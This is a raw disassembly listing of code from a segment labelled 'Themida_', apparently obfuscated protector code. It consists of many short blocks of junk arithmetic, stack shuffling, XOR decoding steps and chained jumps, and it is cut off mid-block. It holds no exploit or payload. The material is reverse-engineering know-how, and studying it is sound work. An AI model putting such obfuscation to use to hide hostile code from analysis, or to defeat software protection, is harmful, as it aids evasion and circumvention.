loc_5AD8A4: ; CODE XREF: Themida_:0059A83Ej
pop ebp
sub edx, 8B327Ch
add edx, edi
jmp loc_59F491
; ---------------------------------------------------------------------------
loc_5AD8B2: ; CODE XREF: Themida_:005AA839j
not edi
or edi, 353B5EBBh
sub esp, 4
mov [esp], eax
jmp loc_5AEAE0
; ---------------------------------------------------------------------------
loc_5AD8C8: ; CODE XREF: Themida_:005991F0j
; Themida_:00599D18j
sub edx, eax
push eax
jmp loc_5A52D2
; ---------------------------------------------------------------------------
loc_5AD8D0: ; CODE XREF: Themida_:005A5696j
mov ebp, [esp]
jmp loc_5A7AE5
; ---------------------------------------------------------------------------
loc_5AD8D8: ; CODE XREF: Themida_:005AC9A7j
push edx
push dword ptr [esp+4]
pop edx
pop dword ptr [esp]
pop esp
xchg esi, [esp]
mov esp, [esp]
jmp loc_5A6848
; ---------------------------------------------------------------------------
loc_5AD8ED: ; CODE XREF: Themida_:005AF7B1j
push esp
pop ebx
push edi
mov edi, 4
sub ebx, 0EB10760h
jmp loc_5A64B4
; ---------------------------------------------------------------------------
loc_5AD900: ; CODE XREF: Themida_:005AF453j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AD905: ; CODE XREF: Themida_:005A75D5j
not ebx
jmp loc_5AAA15
; ---------------------------------------------------------------------------
loc_5AD90C: ; CODE XREF: Themida_:005A7063j
mov ebx, 1F957E00h
add edi, ebx
mov ebx, [esp]
add esp, 4
sub edi, edx
push edx
mov edx, 1F957E00h
sub edi, edx
pop edx
pop edx
neg edi
jns loc_5A6587
neg edi
jmp loc_59C69F
; ---------------------------------------------------------------------------
loc_5AD937: ; CODE XREF: Themida_:005A231Aj
push 505Ah
mov [esp], eax
mov eax, 4
add dword ptr [esp+4], 29E74AF3h
add [esp+4], eax
sub dword ptr [esp+4], 29E74AF3h
jmp loc_59D4D4
; ---------------------------------------------------------------------------
loc_5AD95D: ; CODE XREF: Themida_:005A6F61j
push ebx
mov ebx, esp
push 1C7Ah
jmp loc_59D485
; ---------------------------------------------------------------------------
loc_5AD96A: ; CODE XREF: Themida_:005AB21Cj
xor edx, esi
pop esi
not edx
jmp loc_59B459
; ---------------------------------------------------------------------------
loc_5AD974: ; CODE XREF: Themida_:005A1BA5j
add ebx, 4
add ebx, 4
jmp loc_5AD4FA
; ---------------------------------------------------------------------------
loc_5AD982: ; CODE XREF: Themida_:0059E07Ej
jle loc_5AE0CA
or edx, 70C40D50h
jnz loc_5A06B0
add edx, 0C92032E3h
jmp loc_5A2C1A
; ---------------------------------------------------------------------------
pop edx
loc_5AD9A0: ; CODE XREF: Themida_:005AF524j
jnp loc_5A1C88
jmp loc_59CF81
; ---------------------------------------------------------------------------
loc_5AD9AB: ; CODE XREF: Themida_:0059BFFDj
shl eax, 7
jmp loc_5A8579
; ---------------------------------------------------------------------------
loc_5AD9B3: ; CODE XREF: Themida_:005A8375j
add ebp, 54317433h
shr ebp, 2
jp loc_5A54E1
and ebp, 2F0D1201h
jmp loc_59FDD6
; ---------------------------------------------------------------------------
mov ebx, edx
xor al, 0A0h
loc_5AD9D1: ; CODE XREF: Themida_:005A9C0Fj
pop edi
jmp loc_5AB4E0
; ---------------------------------------------------------------------------
loc_5AD9D7: ; CODE XREF: Themida_:005A7969j
jmp loc_59EF87
; ---------------------------------------------------------------------------
loc_5AD9DC: ; CODE XREF: Themida_:00599D30j
inc dh
xor dh, 23h
xor al, dh
mov edx, [esp]
jmp loc_59E813
; ---------------------------------------------------------------------------
loc_5AD9EB: ; CODE XREF: Themida_:0059A211j
mov edx, [esp]
add esp, 4
push dword ptr [esp]
pop ebx
push ebp
mov ebp, esp
add ebp, 4
add ebp, 4
jmp loc_59C317
; ---------------------------------------------------------------------------
loc_5ADA0C: ; CODE XREF: Themida_:005AED38j
push 393B6BD3h
pop esi
push ecx
mov ecx, 15E71FE4h
add ecx, 1C7A7077h
inc ecx
push 0
sub [esp], ecx
jmp loc_5A5C4B
; ---------------------------------------------------------------------------
loc_5ADA2C: ; CODE XREF: Themida_:0059A5BEj
pop ecx
add esp, 4
push 3815h
mov [esp], edi
mov edi, 12924B27h
push ebx
mov ebx, 12924B23h
xor edi, ebx
jmp loc_5AEFF4
; ---------------------------------------------------------------------------
push dword ptr [esp]
push dword ptr [esp]
pop ecx
add esp, 4
push 426Bh
jmp loc_5A7D9A
; ---------------------------------------------------------------------------
loc_5ADA61: ; CODE XREF: Themida_:0059AAC0j
pop ax
push bx
mov bh, 4Bh
jmp loc_5A42EC
; ---------------------------------------------------------------------------
loc_5ADA6C: ; CODE XREF: Themida_:0059F18Aj
shr ebp, 8
jmp loc_5AC571
; ---------------------------------------------------------------------------
loc_5ADA74: ; CODE XREF: Themida_:0059DF3Ej
sub esp, 4
mov [esp], ecx
push 308D7E00h
push dword ptr [esp]
pop ecx
add esp, 4
add eax, 2AA04B8Ch
sub eax, 29820B73h
jmp loc_59C1A7
; ---------------------------------------------------------------------------
loc_5ADA98: ; CODE XREF: Themida_:0059F6F5j
add esp, 4
push 4E96h
mov [esp], edi
mov edi, 7830488Dh
and edi, 0A5D0A11h
jmp loc_59FA83
; ---------------------------------------------------------------------------
loc_5ADAB6: ; CODE XREF: Themida_:005AEDE2j
pop edx
jmp loc_59ED9A
; ---------------------------------------------------------------------------
loc_5ADABC: ; CODE XREF: Themida_:0059E8ACj
push eax
mov eax, 44586D0Bh
and ebx, eax
pop eax
push edi
mov edi, 5DA41276h
not edi
jmp loc_5AA07A
; ---------------------------------------------------------------------------
loc_5ADAD2: ; CODE XREF: Themida_:005A2AE5j
; Themida_:005A77DBj
shl dl, 6
add dl, 0C7h
shr dl, 3
add dl, 14h
xor cl, dl
jmp loc_59FF72
; ---------------------------------------------------------------------------
loc_5ADAE5: ; CODE XREF: Themida_:005A22B7j
xchg ch, al
neg ch
xchg ch, al
push edx
mov dl, 8Ah
jmp loc_59CEE0
; ---------------------------------------------------------------------------
loc_5ADAF3: ; CODE XREF: Themida_:0059D904j
shl esi, 7
jmp loc_59A79C
; ---------------------------------------------------------------------------
loc_5ADAFB: ; CODE XREF: Themida_:0059EA68j
mov [esp], ecx
push esp
jmp loc_5A3E0F
; ---------------------------------------------------------------------------
loc_5ADB04: ; CODE XREF: Themida_:005A1B19j
add edx, 5BE716B3h
add edx, 6F29057Ch
jl loc_59BECF
push 1F92h
mov [esp], edi
mov edi, 47195A3Eh
xor edx, edi
jmp loc_59CBC5
; ---------------------------------------------------------------------------
loc_5ADB2A: ; CODE XREF: Themida_:005A470Ej
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
pop esp
push esp
pop dword ptr [esp]
jmp loc_5A23D5
; ---------------------------------------------------------------------------
loc_5ADB42: ; CODE XREF: Themida_:0059F0F4j
sub edx, eax
jmp loc_5AEDCF
; ---------------------------------------------------------------------------
loc_5ADB49: ; CODE XREF: Themida_:005A9DC1j
shr ebx, 6
jmp loc_59C7E6
; ---------------------------------------------------------------------------
loc_5ADB51: ; CODE XREF: Themida_:0059E52Dj
inc ebx
neg ebx
sub ebx, 0ACDD57AFh
add esi, ebx
mov ebx, [esp]
jmp loc_5A72AF
; ---------------------------------------------------------------------------
loc_5ADB64: ; CODE XREF: Themida_:0059E94Bj
add ebx, ebp
pop ebp
push edx
mov edx, 0E3C32C6h
shl edx, 2
add edx, 5C9648A8h
sub edx, 2E107DAAh
and edx, 109324D1h
and edx, 54877ACDh
xor edx, 478232E8h
or ebx, edx
pop edx
add ebx, 2E198CDh
jmp loc_5A83F6
; ---------------------------------------------------------------------------
loc_5ADB9C: ; CODE XREF: Themida_:005A6589j
jns loc_5A4B77
jmp loc_59A550
; ---------------------------------------------------------------------------
sub ebx, 438A433Bh
shr ebx, 2
loc_5ADBB0: ; CODE XREF: Themida_:0059D87Aj
push eax
mov eax, 42D46CC8h
not eax
jmp loc_5AB347
; ---------------------------------------------------------------------------
loc_5ADBBD: ; CODE XREF: Themida_:005A0444j
push dword ptr [esp+4]
pop edi
pop dword ptr [esp]
push edi
sub esp, 4
mov [esp], edx
mov edi, [esp]
add esp, 4
mov edx, [esp]
add esp, 4
push edx
push edi
jmp loc_5AB68B
; ---------------------------------------------------------------------------
loc_5ADBE2: ; CODE XREF: Themida_:005A07DAj
mov edx, 82077F4h
sub edi, edx
pop edx
push ebp
mov ebp, 6FCF3B23h
shr ebp, 5
xor ebp, 5F793EEEh
shr ebp, 5
jmp loc_5A3A53
; ---------------------------------------------------------------------------
loc_5ADC01: ; CODE XREF: Themida_:0059C738j
or ebp, 7A4E51E1h
add ebp, 44A94F7Bh
sub ebp, 0C4A7C574h
add eax, ebp
pop ebp
push 2D3h
mov [esp], ebp
jmp loc_5AF3C5
; ---------------------------------------------------------------------------
loc_5ADC23: ; CODE XREF: Themida_:00599090j
mov ebp, [esp]
add esp, 4
jmp loc_59D317
; ---------------------------------------------------------------------------
loc_5ADC2E: ; CODE XREF: Themida_:0059AC3Ej
mov esp, [esp]
jmp loc_59F056
; ---------------------------------------------------------------------------
loc_5ADC36: ; CODE XREF: Themida_:0059DF08j
sub ebp, 5A4E0594h
sub ebp, 2B547CFEh
sub ebx, ebp
pop ebp
add ebx, 30501B2Bh
jmp loc_59F03C
; ---------------------------------------------------------------------------
loc_5ADC50: ; DATA XREF: Themida_:0059885Co
push dword ptr [esp]
push dword ptr [esp]
mov ecx, [esp]
push esi
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
jmp loc_5A9A7B
; ---------------------------------------------------------------------------
loc_5ADC6D: ; CODE XREF: Themida_:005A86BBj
xor esi, 17E22563h
or esi, 2C765A20h
jmp loc_5AFB29
; ---------------------------------------------------------------------------
loc_5ADC7E: ; DATA XREF: Themida_:005987C0o
lodsw
xor ax, bx
push ebx
mov ebx, esp
push ebp
jmp loc_5999A3
; ---------------------------------------------------------------------------
loc_5ADC8C: ; CODE XREF: Themida_:005AAD31j
sub ebp, 0C0F6985h
jg loc_5A0F60
or ebp, 28287460h
mov ebx, ecx
mov ch, cl
loc_5ADCA2: ; CODE XREF: Themida_:005A8A5Ej
mov ebx, esp
add ebx, 4
jmp loc_5A17CC
; ---------------------------------------------------------------------------
loc_5ADCAF: ; CODE XREF: Themida_:005A9F05j
pop eax
add ebx, 125855E0h
jmp loc_5AB6C9
; ---------------------------------------------------------------------------
loc_5ADCBB: ; CODE XREF: Themida_:0059E876j
; Themida_:005A3C4Cj
push 41DDh
mov [esp], esi
jmp loc_5AABCE
; ---------------------------------------------------------------------------
loc_5ADCC8: ; CODE XREF: Themida_:0059A61Fj
pop esp
jmp loc_5A7D24
; ---------------------------------------------------------------------------
loc_5ADCCE: ; CODE XREF: Themida_:0059BDEEj
mov edx, 4
add ebp, edx
jmp loc_5AA49C
; ---------------------------------------------------------------------------
loc_5ADCDA: ; CODE XREF: Themida_:0059C384j
; Themida_:005A52E6j
push esp
pop ecx
add ecx, 4
jmp loc_5AAD94
; ---------------------------------------------------------------------------
loc_5ADCE7: ; CODE XREF: Themida_:0059D7A3j
; Themida_:005AAFA0j
pop ebx
shr ebx, 2
jmp loc_5A6768
; ---------------------------------------------------------------------------
loc_5ADCF0: ; CODE XREF: Themida_:0059AEEDj
sub esi, ebx
pop ebx
push 2B73h
mov [esp], esi
jmp loc_5A2B03
; ---------------------------------------------------------------------------
loc_5ADD00: ; CODE XREF: Themida_:005AB42Aj
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_5A20CD
; ---------------------------------------------------------------------------
loc_5ADD0C: ; CODE XREF: Themida_:005A004Fj
mov ebp, 698F6BDFh
and edx, ebp
pop ebp
or edx, 26D60E0Dh
ja loc_5A4CB7
add edx, 623633E9h
jmp loc_5A3E91
; ---------------------------------------------------------------------------
loc_5ADD2B: ; CODE XREF: Themida_:005AF39Bj
sub dl, 0ECh
jmp loc_59AFCD
; ---------------------------------------------------------------------------
loc_5ADD33: ; CODE XREF: Themida_:0059D92Bj
; Themida_:005ABAE1j
mov ebp, 4
sub edi, ebp
pop ebp
jmp loc_5A075B
; ---------------------------------------------------------------------------
loc_5ADD40: ; CODE XREF: Themida_:0059F25Fj
push eax
push 71B02E18h
pop eax
sub eax, 0FB19C8C7h
mov esi, eax
pop eax
jmp loc_5A1614
; ---------------------------------------------------------------------------
loc_5ADD54: ; CODE XREF: Themida_:loc_59EF64j
; Themida_:005AB178j
add [esp+4], esi
push ebp
mov ebp, 16266AEDh
sub [esp+8], ebp
jmp loc_5A21C4
; ---------------------------------------------------------------------------
loc_5ADD67: ; CODE XREF: Themida_:0059ECE8j
sub edx, 32B22347h
pop esi
jmp loc_5A90BE
; ---------------------------------------------------------------------------
loc_5ADD73: ; CODE XREF: Themida_:0059A062j
imul cx, ax
jmp loc_5A8FF5
; ---------------------------------------------------------------------------
loc_5ADD7C: ; CODE XREF: Themida_:005A37F7j
add esp, 4
sub esp, 4
mov [esp], ecx
jmp loc_5A7068
; ---------------------------------------------------------------------------
loc_5ADD8D: ; DATA XREF: Themida_:00598874o
mov eax, [esp]
sub esp, 4
mov [esp], edx
jmp loc_5A0D8D
; ---------------------------------------------------------------------------
loc_5ADD9E: ; CODE XREF: Themida_:005A753Fj
add esi, 9A3AFA5Fh
sub edx, esi
jmp loc_5A5CC8
; ---------------------------------------------------------------------------
loc_5ADDAB: ; CODE XREF: Themida_:005A17C7j
push esp
jmp loc_599B65
; ---------------------------------------------------------------------------
loc_5ADDB1: ; CODE XREF: Themida_:005A9C18j
push esp
pop eax
add eax, 4
add eax, 4
xchg eax, [esp]
pop esp
jmp loc_59DA7E
; ---------------------------------------------------------------------------
loc_5ADDC6: ; CODE XREF: Themida_:005A32A6j
mov cl, 0E7h
jmp loc_5A19C6
; ---------------------------------------------------------------------------
loc_5ADDCD: ; CODE XREF: Themida_:loc_5A9273j
neg dh
add dh, 6
sub esp, 4
mov [esp], ecx
jmp loc_5A3631
; ---------------------------------------------------------------------------
loc_5ADDDD: ; CODE XREF: Themida_:005A9B60j
sub ebp, edx
pop edx
add ebp, 0FFFFFFFFh
shl ebp, 6
jmp loc_5A8C40
; ---------------------------------------------------------------------------
loc_5ADDEB: ; CODE XREF: Themida_:0059F8F5j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5ADDF0: ; CODE XREF: Themida_:005AB1AEj
add bl, 0DEh
add bl, cl
jmp loc_5AF267
; ---------------------------------------------------------------------------
loc_5ADDFA: ; CODE XREF: Themida_:005A6936j
add ecx, 4
jmp loc_5AA9C7
; ---------------------------------------------------------------------------
loc_5ADE02: ; CODE XREF: Themida_:0059F844j
add ebp, 56481BCFh
sub ebp, 0B0C20433h
add eax, ebp
pop ebp
pop ecx
add eax, 4
push eax
push dword ptr [esp+4]
jmp loc_5A4CB1
; ---------------------------------------------------------------------------
loc_5ADE21: ; CODE XREF: Themida_:0059F2AFj
xchg ecx, [esp]
jmp loc_5A7139
; ---------------------------------------------------------------------------
loc_5ADE29: ; CODE XREF: Themida_:0059FB40j
sub edx, 5FD3210Fh
jmp loc_5A32ED
; ---------------------------------------------------------------------------
loc_5ADE34: ; CODE XREF: Themida_:005A8EB8j
add esp, 4
jmp loc_5ABE42
; ---------------------------------------------------------------------------
loc_5ADE3C: ; CODE XREF: Themida_:0059AC69j
; Themida_:0059E65Ej ...
mov edi, [esp]
push 6B56h
mov [esp], esi
jmp loc_5A9248
; ---------------------------------------------------------------------------
loc_5ADE4C: ; CODE XREF: Themida_:0059D7DFj
push edi
mov edi, 308458C9h
push ebp
mov ebp, 385835A2h
add edi, ebp
pop ebp
xor edi, 3351EBB1h
add edx, edi
pop edi
add edx, eax
push ecx
mov ecx, 4A6053F1h
sub ecx, 440B184Bh
and ecx, 5F4E5ED3h
and ecx, 43F0216h
sub ecx, 0A8769C28h
jmp loc_5A8E82
; ---------------------------------------------------------------------------
loc_5ADE89: ; CODE XREF: Themida_:0059B395j
pop esi
add ebx, 1B3447ACh
sub ebx, 3CB808B4h
jmp loc_5AF569
; ---------------------------------------------------------------------------
loc_5ADE9B: ; CODE XREF: Themida_:0059D0F9j
push 45C8h
mov [esp], eax
pop edx
jmp loc_5AE98B
; ---------------------------------------------------------------------------
loc_5ADEA9: ; CODE XREF: Themida_:005A2C57j
; Themida_:005A7ED3j
add edx, 5DF015A9h
add edx, ecx
sub edx, 5DF015A9h
mov ecx, [esp]
jmp loc_5A0DD9
; ---------------------------------------------------------------------------
loc_5ADEBF: ; CODE XREF: Themida_:0059B92Cj
xor bl, dl
jmp loc_5A149C
; ---------------------------------------------------------------------------
loc_5ADEC6: ; CODE XREF: Themida_:0059BAA6j
xchg eax, [esp]
mov esp, [esp]
inc byte ptr [esp]
pushf
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5ADED5: ; CODE XREF: Themida_:loc_5AC92Cj
jmp loc_5AEA11
; ---------------------------------------------------------------------------
loc_5ADEDA: ; CODE XREF: Themida_:005A2F37j
add esp, 4
mov edx, [esp]
push esi
jmp loc_5AB2A9
; ---------------------------------------------------------------------------
loc_5ADEE9: ; CODE XREF: Themida_:005A3642j
pop ebx
jmp loc_5A8471
; ---------------------------------------------------------------------------
loc_5ADEEF: ; CODE XREF: Themida_:0059EA5Ej
xchg ecx, [esp]
pop esp
jmp loc_59C474
; ---------------------------------------------------------------------------
loc_5ADEF8: ; CODE XREF: Themida_:005AB424j
add bl, 95h
jmp loc_59A20C
; ---------------------------------------------------------------------------
loc_5ADF00: ; CODE XREF: Themida_:00598C50j
mov ecx, [esp]
add esp, 4
add bl, 49h
push eax
mov al, 0D4h
or al, 0D5h
shr al, 1
inc al
jnp loc_59D57B
shl al, 7
jmp loc_5AEF94
; ---------------------------------------------------------------------------
add ebp, 1FBD63B8h
loc_5ADF29: ; CODE XREF: Themida_:0059CB57j
add cl, dl
pop dx
add al, 56h
add al, cl
push edx
sub esp, 2
mov [esp], cx
mov ch, 56h
mov dl, ch
pop cx
sub al, dl
pop edx
push dword ptr [esp]
pop ecx
add esp, 4
push cx
push 54AFh
mov [esp], ebx
mov bl, 77h
push edx
jmp loc_5A411F
; ---------------------------------------------------------------------------
loc_5ADF5E: ; CODE XREF: Themida_:005AC900j
push edi
push 1ACBh
jmp loc_5A2B2F
; ---------------------------------------------------------------------------
loc_5ADF69: ; CODE XREF: Themida_:005A4848j
xor ebp, 9217555h
shl ebp, 3
not ebp
push 434Ch
mov [esp], edi
jmp loc_59F990
; ---------------------------------------------------------------------------
loc_5ADF81: ; CODE XREF: Themida_:005AA02Dj
push esi
push edi
xor dword ptr [esp], 2FCE16A2h
mov esi, [esp]
add esp, 4
xor esi, 2FCE16A2h
mov ecx, esi
push dword ptr [esp]
jmp loc_599C38
; ---------------------------------------------------------------------------
loc_5ADFA3: ; CODE XREF: Themida_:005A820Ej
add ecx, 70271F09h
pop esi
jmp loc_5A8090
; ---------------------------------------------------------------------------
loc_5ADFAF: ; CODE XREF: Themida_:0059D66Ej
push eax
push 5D551535h
pop eax
push ecx
mov ecx, 39B25890h
sub ecx, 0FFFFFFFFh
dec ecx
shl ecx, 7
inc ecx
shl ecx, 8
jmp loc_59E8B1
; ---------------------------------------------------------------------------
loc_5ADFCC: ; CODE XREF: Themida_:005A52BFj
dec edx
add edx, 0AB98FD29h
sub esi, edx
pop edx
jmp loc_59FA37
; ---------------------------------------------------------------------------
loc_5ADFDB: ; CODE XREF: Themida_:0059AD31j
pop dword ptr [esp]
jmp loc_5AE120
; ---------------------------------------------------------------------------
loc_5ADFE3: ; CODE XREF: Themida_:005A90ADj
push edx
mov edx, ebx
mov ebp, edx
pop edx
mov esi, ebp
pop ebp
mov ebx, [esp]
push edi
mov edi, esp
add edi, 4
add edi, 4
xor edi, [esp]
jmp loc_5AD1AC
; ---------------------------------------------------------------------------
loc_5AE006: ; CODE XREF: Themida_:005A104Fj
sub bl, dl
push small 13D0h
jmp loc_59E91F
; ---------------------------------------------------------------------------
loc_5AE011: ; CODE XREF: Themida_:00599977j
push ecx
push 63BC0AFCh
pop ecx
and ecx, 279165B0h
ja loc_5AAE39
sub ecx, 6572E18h
and al, 5Ch
add al, 0A4h
loc_5AE02E: ; CODE XREF: Themida_:0059B072j
or dl, 5
dec dl
sub dl, 66h
shr dl, 3
jmp loc_5A44AD
; ---------------------------------------------------------------------------
loc_5AE03E: ; CODE XREF: Themida_:005AB810j
neg edx
jmp loc_5A600A
; ---------------------------------------------------------------------------
push dword ptr [esp]
mov ecx, [esp]
jmp loc_59DE83
; ---------------------------------------------------------------------------
loc_5AE050: ; CODE XREF: Themida_:005998A2j
; Themida_:005A425Bj
add edi, esi
pop esi
jmp loc_5A36E1
; ---------------------------------------------------------------------------
loc_5AE058: ; CODE XREF: Themida_:005A7615j
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AE05D: ; CODE XREF: Themida_:0059F1A7j
neg al
shr al, 2
add al, 0C4h
sub bl, 4Ch
add bl, al
jmp loc_5A0904
; ---------------------------------------------------------------------------
loc_5AE06E: ; CODE XREF: Themida_:0059C488j
push ecx
mov ecx, 507E10D9h
jmp loc_5A74C9
; ---------------------------------------------------------------------------
loc_5AE079: ; CODE XREF: Themida_:005AF1EAj
mov ebx, esp
jmp loc_5AB036
; ---------------------------------------------------------------------------
loc_5AE080: ; CODE XREF: Themida_:005ABA49j
pop esp
mov [esp], esi
jmp loc_5AD5DB
; ---------------------------------------------------------------------------
loc_5AE089: ; CODE XREF: Themida_:005AE34Ej
mov ebp, 39C513D1h
add eax, ebp
pop ebp
add eax, edx
jmp loc_59994C
; ---------------------------------------------------------------------------
loc_5AE098: ; CODE XREF: Themida_:0059D07Bj
mov edi, [esp]
add esp, 4
sub eax, 64AD591Ah
jmp loc_5A7D69
; ---------------------------------------------------------------------------
loc_5AE0A8: ; CODE XREF: Themida_:005AD147j
mov [esp], edi
sub esp, 4
jmp loc_59E595
; ---------------------------------------------------------------------------
loc_5AE0B6: ; CODE XREF: Themida_:0059AB31j
sub al, 3Bh
pop cx
sub al, bh
push edx
mov dl, 3Ch
or dl, 6Eh
add dl, 93h
jmp loc_5A5AD9
; ---------------------------------------------------------------------------
loc_5AE0CA: ; CODE XREF: Themida_:loc_5AD982j
or edx, 70C40D50h
jnz loc_5A7458
add edx, 0C92032E3h
mov dh, bh
mov dl, 0A1h
loc_5AE0E0: ; CODE XREF: Themida_:005A9A7Cj
push eax
push esp
jmp loc_5A6D7C
; ---------------------------------------------------------------------------
loc_5AE0E7: ; CODE XREF: Themida_:005A0FA6j
pop edi
add [esp+4], ebp
pop ebp
mov edx, [esp]
add esp, 4
push edi
jmp loc_5A180A
; ---------------------------------------------------------------------------
loc_5AE0F9: ; CODE XREF: Themida_:005ACE68j
or eax, 11AB5481h
neg eax
shr eax, 7
xor eax, 1002150h
add edi, 57731FFAh
add edi, eax
jmp loc_5A4D49
; ---------------------------------------------------------------------------
loc_5AE115: ; CODE XREF: Themida_:005AC256j
add ebp, 600660AAh
jmp loc_5A87CE
; ---------------------------------------------------------------------------
loc_5AE120: ; CODE XREF: Themida_:005ADFDEj
pop esp
add esp, 4
xor edx, 0F03202Bh
jmp loc_5A0844
; ---------------------------------------------------------------------------
loc_5AE132: ; CODE XREF: Themida_:005A7575j
add esi, ebx
mov ebx, [esp]
add esp, 4
jmp loc_59BB9E
; ---------------------------------------------------------------------------
loc_5AE13F: ; CODE XREF: Themida_:005AB053j
mov dh, 0
jmp loc_5AF60A
; ---------------------------------------------------------------------------
loc_5AE146: ; CODE XREF: Themida_:0059AD15j
and esi, 202F34D4h
jge loc_5A9D0A
sub esi, 6B604F99h
jnp loc_5ABF30
pop ebp
loc_5AE15F: ; CODE XREF: Themida_:005A7E5Dj
push esp
pop dword ptr [esp]
add dword ptr [esp], 4
push dword ptr [esp]
pop ebx
add esp, 4
push 465h
mov [esp], edx
mov edx, 4
add ebx, edx
push dword ptr [esp]
pop edx
add esp, 4
sub esp, 4
mov [esp], edi
push 799216CCh
jmp loc_598D01
; ---------------------------------------------------------------------------
loc_5AE19A: ; CODE XREF: Themida_:005A0908j
mov ecx, [esp]
add esp, 4
movzx eax, al
jmp loc_5ABD28
; ---------------------------------------------------------------------------
loc_5AE1AB: ; CODE XREF: Themida_:005A3421j
mov edi, [esp]
jmp loc_5AC229
; ---------------------------------------------------------------------------
loc_5AE1B3: ; CODE XREF: Themida_:005A88FEj
jmp loc_5989A3
; ---------------------------------------------------------------------------
loc_5AE1B8: ; CODE XREF: Themida_:005AF3F6j
mov edx, [esp]
add esp, 4
xor edi, 7D572E95h
sub edi, 1
add edi, 7A0D79D0h
dec edi
jmp loc_59FB9C
; ---------------------------------------------------------------------------
loc_5AE1D6: ; CODE XREF: Themida_:0059CDCDj
push ebp
mov ebp, 53223355h
sub ebp, 4CB448B0h
push edx
mov edx, 562E4726h
jmp loc_59B116
; ---------------------------------------------------------------------------
loc_5AE1ED: ; CODE XREF: Themida_:005A5C52j
sub esi, ecx
push dword ptr [esp]
pop ecx
add esp, 4
jmp loc_5A1589
; ---------------------------------------------------------------------------
loc_5AE1FB: ; CODE XREF: Themida_:005AA48Bj
mov edi, esp
jmp loc_59AFFD
; ---------------------------------------------------------------------------
loc_5AE202: ; DATA XREF: Themida_:005987ACo
mov ax, [esp]
sub esp, 4
mov [esp], ebp
jmp loc_5A6441
; ---------------------------------------------------------------------------
loc_5AE214: ; CODE XREF: Themida_:005A38CDj
add esi, 4
push ecx
jmp loc_5A6E75
; ---------------------------------------------------------------------------
loc_5AE220: ; CODE XREF: Themida_:005A467Bj
mov esp, [esp]
mov ax, [esp]
push 5BE3h
mov [esp], ebx
push esp
pop ebx
push eax
push edx
mov edx, 4E7D040Dh
mov eax, edx
pop edx
jmp loc_5A21A0
; ---------------------------------------------------------------------------
loc_5AE240: ; CODE XREF: Themida_:005AB627j
mov ebx, 4A20079Eh
neg ebx
dec ebx
add ebx, 353353A6h
shr ebx, 8
jmp loc_5A0D1A
; ---------------------------------------------------------------------------
lodsd
xor eax, ebx
jmp loc_599F83
; ---------------------------------------------------------------------------
loc_5AE25E: ; CODE XREF: Themida_:005A2478j
mov ecx, [esp]
jmp loc_59BD7E
; ---------------------------------------------------------------------------
loc_5AE266: ; CODE XREF: Themida_:005AEDF7j
mov edi, 4
add esi, edi
pop edi
jmp loc_5A3A11
; ---------------------------------------------------------------------------
loc_5AE273: ; CODE XREF: Themida_:0059E4F1j
; Themida_:0059F1D2j ...
sub esp, 4
mov [esp], esi
push 5DCh
mov [esp], ebx
jmp loc_5A0389
; ---------------------------------------------------------------------------
loc_5AE286: ; CODE XREF: Themida_:005A801Aj
sub esp, 4
mov [esp], esi
push edi
jmp loc_598DB5
; ---------------------------------------------------------------------------
loc_5AE292: ; CODE XREF: Themida_:0059ED60j
dec edx
jo loc_59F44C
jmp loc_5A342F
; ---------------------------------------------------------------------------
loc_5AE29E: ; CODE XREF: Themida_:0059BFB0j
mov esi, [esp]
add esp, 4
push eax
push dword ptr [esp+4]
pop eax
pop dword ptr [esp]
pop esp
xor ebp, [esp]
jmp loc_59F74A
; ---------------------------------------------------------------------------
loc_5AE2B6: ; CODE XREF: Themida_:005A5F9Bj
sub edx, edi
add edx, 1BA96206h
jmp loc_5A402F
; ---------------------------------------------------------------------------
loc_5AE2C3: ; CODE XREF: Themida_:loc_5A2018j
; Themida_:005A958Aj
mov [esp], ecx
mov ecx, 6642669Ch
add ebp, ecx
pop ecx
push dword ptr [esp]
pop esi
jmp loc_5AB805
; ---------------------------------------------------------------------------
loc_5AE2D7: ; CODE XREF: Themida_:005A18C4j
pop ebp
jmp loc_5A1C21
; ---------------------------------------------------------------------------
loc_5AE2DD: ; CODE XREF: Themida_:005A6311j
mov [esp], ebx
jmp loc_59F030
; ---------------------------------------------------------------------------
loc_5AE2E5: ; CODE XREF: Themida_:0059A898j
mov esi, 359E7F23h
sub esi, 1C3B1223h
add esi, 85061Dh
sub eax, esi
pop esi
add eax, esi
add eax, 19E8731Dh
sub eax, 6C5B08D6h
pop esi
jmp loc_5A3CF6
; ---------------------------------------------------------------------------
loc_5AE30B: ; CODE XREF: Themida_:005A0A5Ej
jmp loc_59CA30
; ---------------------------------------------------------------------------
loc_5AE310: ; CODE XREF: Themida_:005A992Bj
pop ebx
pop eax
pop ecx
mov dword ptr [edx+38h], 3B981447h
push eax
jmp loc_5A2F23
; ---------------------------------------------------------------------------
loc_5AE320: ; CODE XREF: Themida_:005A5B0Bj
neg edi
jz loc_5AC80E
or edi, 4CF072AFh
jmp loc_5A7864
; ---------------------------------------------------------------------------
loc_5AE333: ; CODE XREF: Themida_:005A683Ej
pop esp
push ebx
mov ebx, 3E2A0166h
push 65F8h
mov [esp], edx
mov edx, 15977433h
xor edx, 25785A97h
push ebp
jmp loc_5AE089
; ---------------------------------------------------------------------------
loc_5AE353: ; CODE XREF: Themida_:005AD2AAj
mov cl, 83h
add cl, 5Eh
jmp loc_5A25EB
; ---------------------------------------------------------------------------
loc_5AE35D: ; CODE XREF: Themida_:0059CC95j
push eax
mov eax, 51062A8Ch
neg eax
add eax, 525E71D5h
add eax, 0F994BA71h
add ebx, eax
pop eax
add esi, ebx
pop ebx
sub esp, 4
mov [esp], ecx
jmp loc_5AA490
; ---------------------------------------------------------------------------
loc_5AE380: ; CODE XREF: Themida_:005A09D0j
pop ecx
xor eax, edx
jmp loc_5AF05B
; ---------------------------------------------------------------------------
loc_5AE388: ; DATA XREF: Themida_:005986E8o
mov cx, [esp]
push 6E4Eh
mov [esp], ecx
mov ecx, esp
add ecx, 4
sub ecx, 4
xchg ecx, [esp]
jmp loc_5ABB02
; ---------------------------------------------------------------------------
loc_5AE3AA: ; CODE XREF: Themida_:005A60BEj
xor ebx, [esp]
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
push 3EC0h
